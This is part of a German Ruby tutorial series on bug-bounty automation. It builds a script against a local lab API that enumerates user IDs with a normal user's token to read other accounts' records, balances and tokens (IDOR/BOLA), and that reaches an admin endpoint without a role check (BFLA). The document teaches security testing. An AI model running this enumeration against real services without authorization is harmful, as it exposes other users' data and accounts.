// Bug-Bounty-Automatisierung in Ruby · Teil 3

Objektebenen-Autorisierung brechen

Unser Token ist für einen normalen Benutzer — was passiert also, wenn wir damit den Datensatz eines anderen anfragen? Wir bauen einen Checker, der Benutzer-IDs abläuft und jede markiert, die wir lesen können, aber nicht sollten, und finden denselben Fehler auf Endpunktebene. Nebenbei: Methoden, die Werte zurückgeben, Ranges und das Sammeln von Ergebnissen.

RubyIDORBOLAAuthorization
5 Min. Lesezeit

Die Karte aus Teil 2 zeigte /api/users/{id}, das ohne Token mit 401 antwortet. Ein 401 heißt authentifiziere dich und versuch’s nochmal — also tun wir das. Die interessante Frage ist nicht, ob der Endpunkt prüft, dass du eingeloggt bist (das tut er). Sie ist, ob er prüft, dass der angefragte Datensatz deiner ist (Spoiler: tut er nicht). Diese Lücke ist gebrochene Objektebenen-Autorisierung — BOLA, oder das klassische IDOR —, und sie ist der mit Abstand häufigste ernste API-Bug.

Neue Datei, bola.rb, mit einem Login-Helfer und einem authentifizierten GET:

require 'net/http'
require 'json'
require 'uri'

BASE = 'http://127.0.0.1:4567'

def login(name)
  res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

def get(path, token)
  uri = URI("#{BASE}#{path}")
  req = Net::HTTP::Get.new(uri)
  req['Authorization'] = "Bearer #{token}"
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

login postet einen Namen und gibt das Token aus der Antwort zurück — der letzte Ausdruck einer Methode ist ihr Rückgabewert, kein return-Schlüsselwort nötig. get hängt dieses Token als Bearer-Header an. Logge dich als alice ein und bestätige, wer wir sind:

token = login('alice')
me = JSON.parse(get('/api/me', token).body)
puts "[*] logged in as #{me['name']} (id #{me['id']})"

Die IDs ablaufen

Wir sind Benutzer 1. Der Endpunkt nimmt eine id, also ist die naheliegende Frage: Können wir 2 lesen? 99? Statt von Hand zu fragen, schleif über ein paar IDs und lass den Code alles markieren, was nicht wir sind:

[1, 2, 99].each do |id|
  res = get("/api/users/#{id}", token)
  next unless res.code.to_i == 200
  user = JSON.parse(res.body)
  flag = id == me['id'] ? 'you ' : 'LEAK'
  puts "  [#{flag}] users/#{id} -> #{user['name'].ljust(6)} balance #{user['balance']}"
end

[1, 2, 99].each läuft die Liste ab. next unless ... == 200 überspringt alles, was nicht lesbar zurückkam. Dann ein Ternärcondition ? a : b — beschriftet die Zeile mit you, wenn die ID unsere eigene ist, sonst mit LEAK. Führe es gegen das Labor aus:

$ ruby bola.rb
[*] logged in as alice (id 1)
  [you ] users/1 -> alice  balance 1000
  [LEAK] users/2 -> bob    balance 1500
  [LEAK] users/99 -> admin  balance 0

Da ist es. Unser Token auf Normalbenutzer-Ebene las bobs Datensatz und den Datensatz des Admins — Namen, Kontostände und (prüf den rohen Körper) auch ihre Tokens. Der Server authentifizierte uns und fragte dann nie, ob Benutzer 1 Benutzer 2 sehen sollte. Ein Integer entfernt von jedem Konto der Plattform.

Derselbe Fehler, eine Ebene höher

BOLA dreht sich um Objekte — welche Datensätze du erreichen kannst. Sein Geschwister ist gebrochene Funktionsebenen-Autorisierung (BFLA): welche Endpunkte du erreichen kannst. Teil 2 markierte /api/admin/stats als 401 ohne Token. Versuch es mit unserem einfachen Benutzer-Token:

stats = get('/api/admin/stats', token)
puts "[*] /api/admin/stats as a normal user -> HTTP #{stats.code}"
puts "    #{stats.body}" if stats.code.to_i == 200
$ ruby bola.rb
...
[*] /api/admin/stats as a normal user -> HTTP 200
    {"users":3,"orders":0,"balances":2500}

200, von einem Benutzer, der kein Admin ist. Der Endpunkt prüfte, dass wir eingeloggt waren, und hörte da auf — er prüfte nie unsere Rolle. Dieselbe Grundursache wie beim IDOR, eine Schicht höher: authentifiziert wurde als autorisiert behandelt.

Diese Unterscheidung ist das, was du aus diesem Teil mitnehmen sollst. Einen Benutzer einzuloggen sagt dir, wer er ist. Es sagt nichts darüber, was er anfassen darf — das ist eine separate Prüfung, die der Entwickler für jedes Objekt und jeden Endpunkt schreiben muss, und die vergessene ist dein Fund.

Erkenntnisse

  • BOLA / IDOR: Ein Endpunkt prüft, dass du authentifiziert bist, aber nicht, dass das Objekt deins ist. Zähle IDs mit deinem eigenen gültigen Token auf; alles, was nicht deins ist und 200 zurückkommt, ist der Bug.
  • BFLA: dieselbe Auslassung auf Endpunktebene — eine privilegierte Route ohne Rollenprüfung. Ein normales Token, das /api/admin/* erreicht, ist das Zeichen.
  • Eine Methode gibt ihren letzten Ausdruck zurück; ein Ternär c ? a : b wählt inline einen von zwei Werten.
  • Das mentale Modell: authentifiziert ≠ autorisiert. Jedes Objekt und jede Route braucht ihre eigene Berechtigungsprüfung; jage die fehlenden.

Übungen

  1. get('/api/users/999', token) — eine ID, die nicht existiert. Welcher Status kommt zurück, und wie unterscheidet sich das von einer ID, die zu sehen dir verboten ist? (Diese API leakt, indem sie 200 zurückgibt; eine korrigierte würde 403 oder 404 liefern.)
  2. Mach aus dem Leak Daten: sammle jeden lesbaren-aber-nicht-deinen Benutzer in ein Array von Hashes und gib dann den Gesamtkontostand aus, den du aufzählen konntest.
  3. Logge dich als bob ein und lies alices Datensatz. Bestätige, dass der Fehler symmetrisch ist — es ist der Endpunkt, der kaputt ist, nicht ein Konto.

Weiter — Teil 4: Wir haben aufgehört, der id zu vertrauen; jetzt hören wir auf, dem Token selbst zu vertrauen. Wir schauen uns an, wie das Labor sie ausgibt, und fälschen eines für einen Benutzer, als den wir uns nie eingeloggt haben.

← Alle Teile